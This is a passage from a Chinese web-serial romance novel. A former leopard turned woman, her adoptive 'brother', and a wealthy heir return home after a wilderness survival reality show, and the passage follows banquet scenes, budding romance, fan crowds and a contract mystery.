p>在一次又一次颠覆三观的接触中,她只剩一个念头:杀了这群禽兽。 张静敏自知无力以一敌四,只能借助他人之手。 本想利用黎星言,引起云媞对沈泰几人的仇视,借刀杀人,可相处越久,越觉得不该。 于是,她决定自己动手。她先用毒虫杀死项雄,割破他的皮肤,引来其他动物蚕食。又想偷走云媞的手枪,暗里击毙沈泰他们。 但云媞和班列实在太过机敏,她没有办法……真的没有办法了…… 张静敏停手,瘫坐在男人早已没了气息的尸体旁,喘起粗气。 最后,放声大哭。 「项雄不明不白地死了,张静敏和沈泰又同时消失。谁知道是不是情杀,奸夫□□畏罪潜逃……后来选手们再偶然提起这个瘦小的妇人时,已经记不得她的脸,但在流传的多个故事版本里,只剩她那双“阴狠”的眼睛,在众口铄金中被反复“证实”。」 原书中一段无人在意的、交代背景板的文字,浮现云媞脑海。 她望过去。 瘦小的妇人眼中,是水洗后的澄澈。 – 叶玄将活着的陈荣、半死的吴光豪与死透的沈泰绑到一起,通过手环定位,上报节目组。 随后和崔达一左一右搀着浑身瘫软的张静敏,返回大部队。 其他人落在两三米的距离,惊魂未定,不敢靠近。 连死几个人,队里还有奄奄一息的病重伤员,所有人的心情都很沉重。 一时间没有人说话。 黎星言低着头,落在最后。 爆爆和小黑朝他疯狂互动,一直得不到回应,闷闷不乐地跑回云媞身上。 眼角通红,蓬头垢面,衣服上也沾满湿泥,甚至连颀长的脊背都微微往下压…… 一向最注重形象的小少爷,此时却像丢了魂一样,只剩一具空荡荡的躯体在这儿游走。 那股莫名的烦躁再次浮在云媞心头。 她不喜欢黎星言这样。 她还是更想看他打扮得漂漂亮亮、说起话来咋咋呼呼的蠢蛋样。 突然后悔没有像张静敏那样,狠狠捅上他们几刀。 云媞按了按眉心,正要说话。 一股血腥味直窜鼻尖。 这片区域混杂着太多血腥气,以至于她没精力去分辨这些味道都来自哪儿。 她缓缓抬眸。 一滴鲜血,从黎星言攥紧的手心坠落。 再往回望,一路斑驳血渍,聚满了爬虫。 “你受伤了?” 云媞直接拽过黎星言的手。 一道刀痕划破整个手掌,在这只白皙细嫩的手上,显得格外触目惊心。 “说话!”云媞蹙眉,“他们对你做了什么?” 黎星言难以启齿地缩回手。 他不想让云媞知道发生了什么,更不想在她面前如此狼狈不堪,他已经够丢脸了。 见黎星言一声不吭。 云媞兀自转身,“等着。” 忍不了,回去再把剩下的陈荣暴打一顿好了。 “别管我了,就当不认识我可以吗?”黎星言抬起头,红着眼,“云媞,以后我也不会再死皮赖脸地缠着你了……” 话没说话,他一脚踏空。 脚下松软的苔藓层,竟是地下峡谷的穴口! 头顶的尖叫声此起彼伏。 在陡峭的草堆里翻滚时,黎星言捂紧口袋里的木盒,生无可恋地心想:人倒霉到一定程度,真的会笑出来。 但还来不及笑。 旁边同速坠下的身影,让黎星言瞬间头皮炸开。 “媞媞?……媞媞!” 60-70 第61章 翌日。 所有人都起晚了。 崔达眼睛还没睁开,打着哈欠走出房间,“昨晚隐约感觉听到了什么声音……” 正在厨房忙活的马育铭回头看了一眼,没空搭理他,赶紧招呼康仔帮自己切肉。 他们下午将搭乘节目组派来的客机回国,留给他做午饭的时间不多了。 而且爆爆和小黑还在长身体,这段时间也一直都是马育铭负责俩崽子的营养餐。 至于爆爆和小黑,它俩昨晚通宵在客厅看动画片,此时还依偎着呼呼大睡呢。 “什么声音?”明娇娇神清气爽,声音清甜,显然睡得很不错,“我没听到诶……阿简你听到了吗?” 她扭头问苏简,对方也一脸迷茫地摇头。 两双探究的眸子同时移向一个方位。 叶玄端杯喝水的动作一顿,指尖有些不自然地在杯壁上画了个圈,“可能是风吧。” 他敛下眉眼,“昨晚又下雨了,风挺大的。” “这么一说好像也是,那风吹得啪啪作响……” 正说着,三间房门同时打开。 穿戴齐整、甚至因为过于正式而显得有些格格不入的黎星言,如有所感地望向云媞所在的方向。 一瞬间,那双本就水涔涔的眼眸,像被春雨浸过一般,越发靡靡璀璨。 贺君卓恰巧站在两人中间。 还以为他在朝自己笑,倏地抱住肩膀,一脸惊恐,“黎少,虽然你很好看,但我喜欢女的!” “媞媞!早上好!” 黎星言径直略过他,扬着那不值钱的笑容跑到云媞跟前。 要是有尾巴的话,此时估计都能转成螺旋桨了。 贺君卓后知后觉反应过来。 啊我说呢,黎小少爷怎么会突然用一种处男□□的、如狼似虎的眼神看自己…… 等等!用这种眼神看媞姐难道就正常了吗!!! 像悟透了某种惊天大秘密,贺君卓惊恐地四处张望,希望从其他人脸上也看到同样的反应。 只可惜,没人像他一样,对八卦有着绝对敏感度。 最后出门的班列,顶着一头被雷轰过的鸡窝头,黑着脸与贺君卓对上了视线。 不过,看到他这幅深受打击、生无可恋的模样,贺君卓摸了下鼻子,默默走开了。 算了,和班列不太熟,还是别惹他了。 然而,这里只有班列能和贺君卓产生共鸣。 因为,他在黎星言身上……闻到了姐姐的味道- 下午。 其他人动身出发。 因为要带上爆爆和小黑,黎星言不跟他们一道回国,得乘坐专门提前申请过特殊航线的直升机。 云媞自然被他死皮赖脸地拉住。 他还格外大方地主动邀请班列同乘。 黎星言现在已经把班列当自家小舅子看待了,尽管这个叛逆男孩并不将他放在眼底。 节目组的返程飞机早已等候多时。 临别时,明娇娇抱着云媞难舍难分,反复确认回国后她们不会断联。 拍了拍她的肩膀,云媞神色自若地说:“难道回国了,我们就会失忆了么?” 这段时间的记忆是永恒存在的,并不会因换了时空而消弭。 “再说了,你还有秘密没跟我讲呢。” 听到这话,明娇娇破涕为笑,狠狠点了点头,“好!回国见!” 做了短暂道别,大家陆续登机。 叶玄磨蹭在最后,想对云媞说点什么,但又难以启齿。 他知道,黎星言恐怕已经和云媞在一起了,夺人所好并非君子。 小少爷虽公子气十足,并不强大果敢,但的确比许多男人赤忱热烈,包括他自己。 这么想着,叶玄按了按眉骨,将那些未宣之于口的感情默默咽了回去。 但没想到,竟是云媞率先叫住了他。 两人单独站在一侧。 叶玄的心跳得格外快,是差点被森蚺绞杀、被狮群发现、被鳄鱼拖入沼泽时,都未曾有过的心悸。 和他一样激动的,还有飞机上那些小伙伴。 个个趴在眩窗上,挤着脑袋凑热闹。 “这啥意思?媞妹不是和黎少爷在一起了吗?”老实人马育铭摸了摸后脑勺。 明娇娇一听怒了:“谁说的!黎星言那货配得上我媞媞吗?当然,叶玄这大男子主义的家伙也配不上!” “诶,我记得娇娇你之前和叶哥关系挺不错的啊,当时还以为你俩有可能成一对……” 崔达话未说完,被苏简敲了下头顶。 瞥见瞬间黑脸的明娇娇,他心领神会地自觉噤声。 角落的康仔默默憋出一句:“其实吧……我觉得……媞姐和叶哥还挺搭的。” 啊啊啊相处下来后叶哥其实真的很好啊!没人磕他 俩的CP吗! 向来聒噪的贺君卓此时却异常安静。 只见他蹲在座位,眼睛一错不错贴到窗边,慢慢对着嘴型说:“叶玄,我记得,你参加这个比赛是……” “是为了用奖金创办自己的公司,对吧?” 云媞蹙眉,“但现在奖金被我拿了,你打算怎么办?” 叶玄没想到她会问这个,愣怔数秒后,坦然笑道:“目前还没有什么打算,怎么?媞媞有什么好的意见吗?” “开公司要多少钱?一千万够吗?不够的话,我最多也只能给你两千万了。” 云媞顿了顿,一本正经地强调:“是借给你,不是送给你,你赚了钱要还给我的。” 她的表情很认真,没有玩笑或戏谑,一时让叶玄也不知作何反应。 “为什么?”他敛了笑。 尽管在观众眼中,他们可以成为“势均力敌的对手”,但叶玄心里清楚,自己比不过云媞。 奖金是云媞凭实力获得的。而她也不是那种会因心软或“内疚”,就将奖金大度地分出去的老好人。 这种包饺子式的大团圆作风并不适合云媞。 “因为我要钱生钱,也就是你们说的,投资?” 云媞语气淡淡的,“我觉得你经商头脑应该还不错,你要是不想要,那我找别人去了……” “要。” 叶玄拦住她,第一次直截了当地表露出自己的野心,“投资我,不会让你失望的。” 这点云媞当然知道。 原书剧情中,叶玄的确靠冠军奖金创业闯出一片天地,在没有搭上陆景天和黎冉的关系之前,就已经荣升为业内新贵,夫妻俩的帮助只是促使他再攀高峰罢了。 听到叶玄信誓旦旦的保证,云媞扬起嘴角,“合作愉快,我要做最大的股东。” 她决定“投资”叶玄,一方面是看中他的潜力,而另一方面……是为了黎星言。 万一未来,叶玄仍会和黎星言父母产生交集,希望看在她知遇之恩的份上,不要真将黎小少爷那蠢蛋的家庭给夺去了。 “好,”叶玄对云媞的盘算浑然不觉,纵容笑道,“你最大。” …… 节目组的飞机走后不久,黎星言家的直升机紧随其后。 坐到位置上,云媞便开始闭目养神。 爆爆和小黑大概是知道,自己要跟着麻麻和正规爹回国、住大豪宅了,兴奋地在舱内上蹿下跳。 小黑还钻进驾驶室内,差点把驾驶员吓得当场昏厥。 被黑脸的“恶舅舅”班列教训一顿后,都老实了。 一片安静下,黎星言跟浑身刺挠似的,坐立难安。 刚才媞媞到底和叶玄说了什么啊!为什么他们都笑得那么开心!什么事情需要背着他单独说…… 原以为媞媞事后会告诉自己,结果还是他太把自己当回事了…… 就像刚被上宠幸的妃子,第二天一睁眼看到曾经争宠的死对头重获皇上青睐了!天塌了! 好一个“但见新人笑,那闻旧人哭”。 黎星言开始复盘,怀疑是自己昨晚表现欠佳。 虽然没有进行到最后一步,但他感觉自己伺候的挺好的呀,服务意识很强,媞媞明明还夸了他来着…… 难道那些欢愉动情时刻,都是媞媞……演的?! 晴天霹雳般,黎星言面上的“正宫姿态”全然崩裂。 独自一人在角落凋零。 * 晚六点,直升机降落在黎星言家的停机坪。 听说,陆家长辈要为宝贝孙子接风洗尘,在祖宅特设晚宴。 显然这是一场盛大的家宴。 斩钉截铁地拒绝了黎小少爷的邀请后,云媞打算带着班列离开。 至于爆爆和小黑,虽已获得饲养许可证,但按规定只能养在“符合其生存条件”的空间,所以暂时留在黎星言家的后山。 近郊,距离星河影视城几公里的老小区。 说是小区,实际只是改造后的民房,专门出租给驻扎在影视城的临时工或长期群演。 没有安保,鱼龙混杂,环境也极差。 但“原主”之前就住在这里,所以云媞决定先回这儿看看。 司机陈叔平稳停车,亲自送云媞和班列到楼下。 犹豫片刻,他低声询问:“媞媞什么时候回那边呢?夫人早就收拾好了你之前住的房间,一直念叨着等你和黎少爷回来。” 他指的是“回”黎星言家。 其实,云媞提前收到了黎冉的信息,她也邀请自己一道参加今晚陆家老宅的家宴。 不过,云媞还不太适应和那么多人打交道,她现在已经懂了一些人类的处事及交际礼仪,但不全懂。 只知道与黎冉初次吃饭时,自己的举止是很冒昧且粗俗的,也多亏对方性格温和不拘小节。要是将类似场景再搬到今晚的陆家家宴上,恐怕得贻笑大方了。 她倒是不怕人笑话,就怕自己会忍不住动手打人…… 黎冉对自己不错,还和豹妈妈是旧相识,就别给她惹麻烦了。 见云媞不为所动,陈叔微笑着说出黎星言教的话术:“家里又招了几位大厨,新增了不少菜品,都是硬菜,夫人想着说请你品鉴几番……” 云媞倏地抬头,眼睛都亮了。 得到正向反馈,陈叔功成身退。 刚回车内,手机响了。 【黎小少爷】陈叔陈叔!怎么样啊?媞媞住在哪里?班列,也就是她身边那个黑脸跟屁虫,不会要和她住一起吧? 看着二楼左边那间刚亮起灯的屋子,昏黄的小厅内,两道身影一前一后坐下。 陈叔轻咳一声,一板一眼回道:【黎少爷,安心参加完家宴,我才能告诉你定位。】—— 作者有话说:黎少:男子汉大屁股要有正宫气度(哽咽),不要总是公公爸爸把这个家都哭散了(含泪握拳)[爆哭][爆哭] 第62章 陆家祖宅。 衣香鬓影,贵胄云集。 不止家中长辈,几家亲戚世交也应邀而来。 觥筹交错,推杯换盏。 这本是“交际花”黎星言最得心应手的场合。 他虽在外像小霸王一样桀骜不驯,但作为世家最受宠的小辈,在长辈们面前还是挺会来事,常把祖父祖母哄得乐不可支。 今晚,黎小少爷显然有些心不在焉,强颜欢笑“应酬”完几轮。 黎冉也看出这小子身在曹营心在汉。 “专心些,都看着呢。” 黎星言幽怨地瞥了眼,越想越不开心,“为什么不邀请媞媞来?你们肯定知道了,我们已经在一起了……” “在一起了吗?”黎冉故作惊讶,“我们都以为只是黎小少爷单方面穷追不舍呢,还真让你成了?” 她最近拍摄任务极重,还没来得及看那档综艺,但身边倒是一直有人向她笑谈起黎星言在节目中的“壮举”。 “妈!” 羞愤是小部分的,黎星言敢作敢当,不觉得自己勇敢追爱有什么值得嘲笑。 他现在更担心的是,小说或影视作品里,每当有情人互定终身了,男方总会有那些“反派”家长跳出来给小情侣增添阻碍。 在世俗的眼中,黎星言和云媞身份地位上的差距就摆在那里。 谈恋爱可以,但结婚……这种顶级世家似乎不会让一个平民女孩跻身进门。 想到这里,黎星言变了脸色,郑重其辞地表态:“我今生非媞媞不娶,就算你们再怎么反对,我都不会和她分开……” 眼看傻儿子越说越激愤,再不打断,估计就要快进到断绝关系、从族谱除名、甘愿入赘等桥段了。 黎冉憋着笑,点头:“几个月不见,你这家伙倒是长心眼了,学会了虚空树敌。想娶媞媞就去跟她本人说,谁反对你了?” “在你眼里,自家的父母长辈,就这么迂腐专政呢?” 也是,若他们真如此,那唯一的独子也不可能随母姓。 小少爷这下是真羞愧难当了,“我错了我错了,妈,您大人不记小人过呗。” 黎冉轻哼一声,“冤枉他们可以,不准把我想象成恶毒婆婆!” “而且,”想到云媞,黎冉既觉可爱又有些惆怅,“总觉得媞媞这孩子很亲近,像从小看着长大似的。” 黎星言摸了摸鼻尖,心道:那可不就是看着长大的吗?从某种程度上来说,他和媞媞还是青梅竹马呢! 不过,不能再让黎冉发散联想下去,以她那聪明伶俐的头脑,再探几个来回估计都能逼近真相了。 这时,一阵爽朗的带着老钱气场的笑声由远及近。 正是陆景天。 大忙人刚在外面应酬完,来晚了,他极为随和地端起酒杯自罚三杯。 又与老父亲老母亲寒暄几句后,婉拒其他人的攀谈,马不停蹄赶到妻儿这边。 陆景天直接略过便宜儿子,旁若无人的和黎冉拥吻温存数秒,然后才转身。 他其实早就想好要跟儿子说的第一句话:“这么久不见,变黑了也变壮了,在外面一定吃了很多苦吧。” 结果打眼一看,嚯!这好大儿,像野人一样在荒岛风吹日晒快俩月,怎么还是这么白净!皮肤也跟刚剥的鸡蛋似的光滑透亮。 “你……”陆景天一时词穷,按了按突突直跳的太阳穴,“你是一点苦也没吃啊?” 黎星言翻了个白眼,懒得理他。 “哪能呀?”黎冉弯着眉眼,扬起下巴,“那不也吃了点爱情的苦么?” 缺德夫妻俩同时大笑。 …… “真幸福啊……” 这么多年,这家人依旧蜜里调油、阖家欢乐。 豪门世家从不谈“真爱”,能逢场作戏坚持数年都已算是模范夫妻。 而他们,明眼人都看得出,所言所行皆出自真心,并非大多家庭那般为了在外名声而装模作样。 所以,黎星言在整个圈层的同辈中,也一直都是最受人瞩目和羡慕的那个。 “黎少估计也坠入爱河咯,在那个综艺里追着人小姑娘跑……” 有人率先谈起最近正火的话题,其他二代都心照不宣地低头浅笑。 这种笑里,或多或少带着一丝嘲讽和不屑。 当初还是他们起哄让黎少去参加,事后没多久,听说陆景天大发雷霆飞去节目组要人,虽不知为何黎星言还在继续录制,但他们都被家中长辈家法伺候了一顿。 那档节目实在火爆,细皮嫩肉的黎少爷能坚持到比赛结束属实出乎人意料,他们内心说不佩服是假的。 但都不愿承认。 于是把谈笑的重心都放到黎星言追人上,毕竟他们也没想到,一向高高在上的“第一阔少”追起人来这么的……嘶……舔狗。 小辈们聚在远离宴会厅的休闲区。 你来我往,聊得火热。 “那女孩真被他追到了吗?不能吧,她看起来对黎少很冷淡啊。” “装的呗,女人不都那样,谁能抵挡住金钱……” “不会吧,我小妹还挺喜欢她,吵着要她做嫂子。” “那你也去争一争,大不了学学黎少死缠烂打……” 不敢明嘲,暗讽倒是不少。 路之舟沉默着听了一会儿,蹙眉打断,“你们……都看过那档节目?” 路之舟是当红顶流明星,前阵子刚结束人生第一部大制作电影。对黎星言这事略有耳闻,但他至今还未看过完整节目。 “之舟最近太忙了吧,听说刚拍完王导的新戏?” 其他人纷纷向他表示祝贺和对新电影的期待,随后才说:“那档综艺最近可火了,媞姐,啊也就是黎少追的那个女孩,拿了冠军,还挺有看头的……” “不过正式版还没上线,直播也已经结束了,网上倒是有录播集锦。” 路之舟表情淡然地点头,记下这档综艺的名字,打算有时间再去看看。 主要是看,黎小少爷如何出丑。 * 晚九点。 云媞居住的这片区域格外寂静。 地处郊区,位置偏远,娱乐活动少,连路灯都没安几盏。 她刚清点完家中有价值的东西。 其实也很快,因为根本没有几件值钱的物品。 在这期间,云媞收到了“经纪人-阿亮哥”打来的电话。 没想到,武替还会有经纪人。 深挖封存的记忆,她才陡然想起来,这个阿亮哥实际是影视城武替中介头子,专门给手下的武替介绍到有需求的剧组。 阿亮哥先是在电话里说了很多意味不明的话,后来才提到什么“合同”之类的话题。 不过那时,云媞已经听的不耐烦了,也不太理解他在说什么,没听完就径直挂断了电话。 整理物品时,云媞恰巧翻出一份合同。 厚厚十几页纸,看了几眼,头就开始发昏。 “你看得懂吗?” 云媞将合同递给班列。 像接过圣旨一般,班列凝神聚气捧着看了几分钟,表情认真严肃,还挺像那么回事儿。 结果一放下合同,对方露出那副茫然又痴呆的表情。 嘚,这俩姐弟,不说是否是文盲,至少都有阅读障碍症没跑了。 云媞思忖数秒,既然已经回归现代社会,这种问题还是甩给黎星言处理吧,听说他是名副其实的高材生。 将合同随手扔到桌上,云媞开始洗漱。 所有的洗漱用品还有贴身衣物等都是新买的,一式两份,她一份,班列一份。 云媞洗澡时,班列就乖乖坐在沙发上等着。 他也不玩手机,眼都不眨地盯着卫生间那扇木门发呆。 待云媞出来,又立马起身,哒哒跑过去。 不知道是没有安全感,还是觉得此刻太过幸福。 班列就像流浪许久的小土狗,第一次被主人带回家,不敢靠太近,只敢用灵敏的鼻子嗅来嗅去。 “姐姐,你身上好香!” 班列露出一个大大的笑容。 不带任何男女之色,只是一句再单纯不过的陈述句,非要说有什么情绪在里面,恐怕更多的是卑微地讨好。 老房子水压不稳,轮到班列洗时,基本冰凉。 从荒岛重归文明社会,身体似乎也变得娇贵起来。 尽管洗的时候并未觉得哪里不适,但一出门,班列就打了个喷嚏。 他不安地捂住口鼻,那头长长了一些的头发还在往下滴水,将睡衣领口浸湿一大半。 云媞正坐在破旧沙发上,刚吹完头发,见他这样,招了招手,“过来。” 局促,窘迫,忐忑。 班列蹲在云媞身前,手都忘了该往哪儿摆。 “头低一点,抬那么高怎么吹?” 云媞毫不留情拍了下他的头顶,吹风机风速增大的同时,顺势将手插进发中。 不像黎星言那般乌黑柔顺,班列的发质并不算好,不过以他此前的身世,也是没钱打理养护的。 很快吹干,呼呼风声停下。 房间突然静得反常。 班列还垂首蹲在脚下,像等待主人发号施令。 云媞后知后觉意识到他不太对劲。 再仔细回想,这种不对劲已经持续了很久。 他们刚相认那段时间,班列还是个开朗粘人、会主动出击、也会开些小玩笑的非主流阳光大男孩。 而现在,他变得阴郁寡言许多,甚至很久都没见他笑过了。 “你还是斑斑吗?”云媞问。 班列倏地抬头,眉眼中的不安更甚,“我是斑斑啊,姐姐为什么这么问……是我做的哪里不对吗?” 云媞拽着他的胳膊,拖到自己旁边。 “你为什么在我面前表现得这么畏手畏脚?” 捏住班列的下巴,迫使他直 视自己的眼睛,云媞心里其实已经有了答案,“害怕我抛弃你吗?” 是的。 是的姐姐。 班列对鬣狗的身份没有认同感,不代表他对人类身份就得心应手。 不像云媞,做豹做人都游刃有余,他其实找不到自己存在于这个世界的意义。 他只有姐姐。他最崇拜最喜欢的姐姐。 但姐姐最喜欢的是黎星言。 他们要是像大家说的那样,结婚了,永远生活在一起…… 那他该何去何从。 这种不安全感,从云媞和黎星言掉入谷底失踪的一夜开始滋生,随着万亿吨被树木蒸腾排出的水汽,往复循环。 他被困在了那片雨林。 班列很少哭,当着云媞的面哭得像个孩子的时刻只有那一次。 哭是受宠爱的人才有的权利,譬如黎星言。 看着他极力克制自己的情绪,云媞叹了口气,命令他抬起头来。 “斑斑,班列,”云媞一字一顿地说,“我说过,你是我的弟弟,我们是家人,家人是不会抛弃彼此的。” “就算姐姐和他结婚了,也不会抛下我吗?” “不会。” 云媞顿了顿,“而且,或许我不会和他结婚。” 话音未落,窗边一坛早已枯死的盆栽突然倾倒,摔到楼下,发出嘭得一声巨响。 第63章 黎星言摔得不轻。 手肘擦地,脚踝扭伤。 陈叔“哎哟”一声,急遽跑过来扶他,既心疼又恐慌。 下一秒,窗台探出两个脑袋。 见到云媞,黎星言暗自推开陈叔的搀扶,示意他去车里等。 待人走后,他仰头,露出一个傻里傻气的笑容,“媞媞!晚上好!想我了吗?” 为了给云媞一个惊喜,黎星言刚结束完那边的晚宴,便马不停蹄地赶了过来。 既然是惊喜,那就不能走寻常路。 看到陈叔指的那间屋子还亮着灯,那么小一间房,肯定是媞媞自己的房间吧。 二楼并不高,窗户也没关。 好歹是荒野求生过的“勇士”,黎星言决定好好露一手。 像古时话本里那些,爬墙与养在深闺的未婚妻相会的少年郎,共谱一出“郎骑竹马来,绕床弄青梅”。 黎星言就这么穿着价值几十万的礼服,沿着老小区外装管道和空调爬了上去。 还没冒头,好巧不巧听到云媞说“我不会和他结婚”。 他一时没稳住,手一抖脚一滑,直接从二楼摔了下去,还差点被掉下来的盆栽砸到。 …… 束手束脚地坐在矮小的沙发上,黎星言悄悄打量起“云媞的家”。 四四方方的单间,睡觉的床、休息的沙发、吃饭的小餐桌……都在一个空间,一眼望得到头。 黎星言还是第一次看到这种房屋格局,比他家最小的佣人储物间还要小。 “媞媞,你住在这里一定很不舒服吧……嘶……” 正在给黎星言涂碘酒上药的云媞,手劲儿没把握好,疼得他倒吸一口凉气。 但很快,龇牙咧嘴的小少爷又恢复矜贵模样,若无其事地接着说:“回我家住吧!你知道的,那里又宽敞又舒适,而且我爸妈都特别期待你回去,还有那个做牛排很好吃的厨师……” 说着说着,黎星言嘴一撇,红了眼眶。 早上还在稀树草原温存,他以为他们已经是男女朋友的亲密关系了。 晚上却回到了现实,媞媞一回国就把自己抛到脑后,参加宴会时给她发的无数条信息,一条也没被回复。 他信誓旦旦说非她不娶,可人家压根没考虑过和她的未来。 在荒岛的那些经历,像一场浪漫瑰丽的梦,梦醒了,就要面对现实的巨大差距…… 文艺男青年开始给自己编排出落魄糟糠夫的戏码了。 云媞眼角一抽,“不准哭!” 刚哄完一个,又来一个,男人真麻烦。 虽麻烦,但属实听话。 见他安安静静垂头不语,眼眶湿润但硬生生把泪水憋了回去,云媞又于心不忍。 “会跟你回去的,放那么大房子不住,窝在这小地方,我是傻的吗?我只是来这儿收拾一下。再说,爆爆和小黑还在你家呢……” “真的?!”黎星言的眼睛瞬间亮了。 云媞点头,接着平底放大招,“你刚才听到我说的话了吧。” 对面那双狗狗眼霎时暗淡下来。 “因为我暂时不想被那层关系绑住,即使不结婚,我们也可以在一起,不是吗?” 渣男经典语录。 但从云媞口中说出来,却如听仙乐耳暂明。至少在黎星言那里,代表云媞愿意“和他一直在一起”。 而且媞媞向来说一不二的,能给出如此重要的承诺,一定是因为足够在乎他。 黎星言很快把自己哄好了,他重展笑颜,显然是欣然接受了这种说法。 这就是自热火锅型人格,对他一分好,他能脑补到八分。 用没有受伤的那只手,圈住云媞的腰身,像只大狗狗一样在她胸口拱来拱去,黎星言呢喃道:“媞媞,我爱你……” “我还不太明白什么是爱,”云媞安抚般拍了拍他的头顶,想了一下,说,“但想和你做.爱,算吗?” 黎星言倏地面红耳赤,小声“嗯”了一声。 云媞又补充道:“目前只对你有这种感觉。” 嘚,沸腾了,自燃了,爆炸了。 黎星言被这两句话钓成翘嘴了。 默默缩在角落没眼看的班列,竭力将耳朵闭了起来,耳不听为静。 不过,他现在心情却很不错。因为姐姐说,他们是永远不会抛弃彼此的家人。 而黎星言也说过,对于花豹来说,亲情比爱情更坚固。 那说明,在姐姐心里,他比黎星言的地位还高! 三个人此时都感到很幸福。 最后,黎星言跟陈叔发了条消息:“今晚我不回去了,陈叔你先走吧。” 二十平不到的小单间,两男一女共处一晚…… 陈叔百思不得其解,亲自待到那间房的灯最后熄灭,忍不住抽了两根烟,蹙眉望天。 如今这个世道,终究还是太乱了啊…… * 第二天一大早。 人声鼎沸,喧哗阵阵,一大堆人聚集在楼下。 有女孩们拿着自制手幅和灯牌,有网红举着自拍杆正在现场直播,甚至还有娱乐记者扛着摄像机、台标话筒冲在前排。 他们都收到小道消息:云媞回到了影视城附近的出租屋。 其实,昨天明娇娇、叶玄他们搭乘节目组飞机回国,机场就涌入上万人接机围观,除了明娇娇原本的粉丝群体,很多人都冲着云媞去的。 扑了个空后,才得知云媞坐黎星言家的直升机飞了另一条航线。 昨晚,这条“劲爆绯闻”就登上了热搜榜首。 不过,当事三人谁都没空看手机。 特别是云媞和班列,对自己“红了”这件事,完全没有任何概念。 透过小窗,云媞瞥向楼下乌泱泱的人头,疑惑发问:“有明星也住在这里吗?” 话音未落,眼尖的女粉大喊一声:“啊啊啊啊媞媞!我看到媞媞了!在窗后面!” 吓得三人顿时缩了回去。 准确来说是两人,云媞和班列速度极快,没有被其他人捕捉到。 至于黎星言,反应慢是一回事,暗戳戳想对外界表明自己在云媞这里的名分,那又是另一回事了。 面对楼下突突架起来的摄像头,他露出一张超不经意、角度完美的侧 脸,慢动作三秒,听到被拍的咔嚓声后,才缩回屋内。 又等了两秒,没有被媞媞拆穿和批评,黎星言嘴角上扬的幅度更大了。 他笑眼弯弯地调侃:“媞媞,那个大明星好像是你诶。” 目前这种情况,是云媞参加比赛前没有预料到的。 她只想过拿了奖金之后,要天天吃香的喝辣的,至于出名爆红、被全国人追捧、甚至走哪儿都会被围观,完全不在她计划之内。 这下,孤僻社恐豹陷入困境了。 “你们干嘛的!嘿到处瞅什么!说的就是你们这群人!谁让你们拍了,关掉,赶紧走!” “我大哥说话你们都听不懂是吧?这片区域归他管,一大早私闯民宅,信不信我们现在报警,告你们扰民?” …… 楼下,几道雄浑粗犷的声音响起。 那些嘈杂琐碎的交谈声慢慢安静一些。 “这小破地方还有安保?不会吧……” “你好,我是娱乐记者,在这儿只是想采访……” “我管你记着还是忘记,总之你们在这儿就是扰民,趁我现在心情还好,赶紧滚……赶紧走!” 为首的男人肌肉虬扎,左膀右臂纹满刺青,看起来很不好惹。 大家也自知理亏,渐渐散了。 有几个蹭热度直播的网红不想走,躲在不远处草丛暗中观察,直接被几脚踹了出去。 屋内。 三人面面相觑。 “是你找来的人吗?”云媞问黎星言。 对方摇摇头,若有所思地“嘶”了一声,“难道是陈叔找的?” 他早上只跟陈叔说过,让他来接自己的时候带身干净衣物。 正疑惑着。 门被敲响了。 云媞刚打开门,三个壮汉齐齐鞠躬,异口同声喊道:“媞姐!” 为首男人抬起头,笑得谄媚:“你总算回来了!” 见她一脸茫然,男人赶紧解释:“你不记得我啦?我是张彪,彪子啊!” 他不笑,云媞就想起来了。 这是之前强收保护费的影视城地头蛇,也就是她第一天做人时,解决完无差别砍人的歹徒,提着刀叫他“还钱”那人。 当时他怂得跪在地上,一句话都不敢多说,立马掏钱认错。 现在带俩小弟装模作样一下,还挺像那么回事儿。 张彪被云媞那洞察一切的眼神看得发毛,他轻咳一声,心虚地说:“媞姐你放心,我现在已经改好了!不强收保护费了,那些交了钱的,我都实打实地真保护。” “我又没交。” “嗐!这话说的,你是我媞姐嘛!我人生的引路人!我们影视城的武替之光!以后我们都要仗着你的保护,恨不得给你交钱呢……” 云媞煞有其事地点头,“那你交给我。” “啊?” 张彪一时愣住。 黎星言忍不住笑出声,班列也勾起嘴角。 “逗你玩的。” 云媞按住张彪掏钱的动作,“看不上这点三瓜两枣。” 张彪舒了一口气。 就说嘛,他每天都准点蹲守《生存者游戏》的直播,看着云媞夺冠的,她有了那一亿奖金,哪能在乎这点小钱。 不过他没说的是,综艺开播后不久,国内就有私下.赌选手输赢的盘,作为首批下注云媞夺冠的玩家,他也狠狠赚了一笔。 “我之前就想着,你说不定还会回来一趟,所以一直派人帮你守着这间出租屋。有段时间,这里不知道被哪个狗东西暴露出去了……” 张彪趁机邀功,“好多人涌过来打卡拍照,还有人打算在楼梯白墙上涂鸦、从外面翻进你的房间……都被我们赶跑了!” 那确实是非常疯狂的一段时间,当时《生存者游戏》正播到雨林地图,收获国内史无前例的话题热度。 而云媞大受追捧,以至于很多人闻风而动,纷纷前来打卡她的居住地,甚至惊动了警方。 听到这些,云媞、黎星言还有班列瞠目结舌。 “不行,这个地方太危险了,一定不能住了!” 黎星言收起嬉皮笑脸的表情,“还是回我家吧,要是媞媞最近还想待在影视城附近,其实离这里不远,我家也有房产。” 他顿了顿,不好意思地拍了拍后脑勺,“我是不是忘说了,星河影视城是我家的产业……” 额滴妈呀! 这才是金光闪闪的全国首富之子啊! 跟综艺里的弱鸡废材是完全不同的气场! 张彪努力不让自己的眼珠子瞪出来,咽了咽口水,说:“有姐夫这层身份在,那那件事就好办多了……” “等等等等,”黎星言红着脸,双手受宠若惊地抬了抬,最后反手指向自己胸口,“姐夫?是在……叫我吗?” “那不然呢?媞姐是我们姐,您当然就是我们姐夫了!” 不得不说,张彪的确是追了全程综艺的资深观众,已经深谙拿捏黎小少爷之道。 黎星言飘飘欲仙,恨不得当场从身上摘点什么值钱的东西送给他,当作“改口礼”。 最后还是云媞阻止他财大气粗的脑残行为,捕捉到张彪话中的言外之意,“哪件事?” “媞姐你还不知道吗?是阿亮哥托我来找你的,他说你之前签的那个跟组合同,还有五个月才到期,现在有个剧组导演点名让你去当武替……” 张彪不清楚具体是什么合同,也没当多大的事儿,“有姐夫这层关系在,不去也没什么吧,大不了交点违约金得了。” 媞姐都这么出名了,身后还有个第一阔少屁颠屁颠跟着跑,怎么可能还去当武替? “是这个东西吗?” 云媞将桌上的合同递给黎星言,“我和斑斑都看不懂,正好,你文化水平高,帮我看看。” 黎星言摸了摸发烫的耳尖,顺势接过,看了没一分钟,脸色骤变。 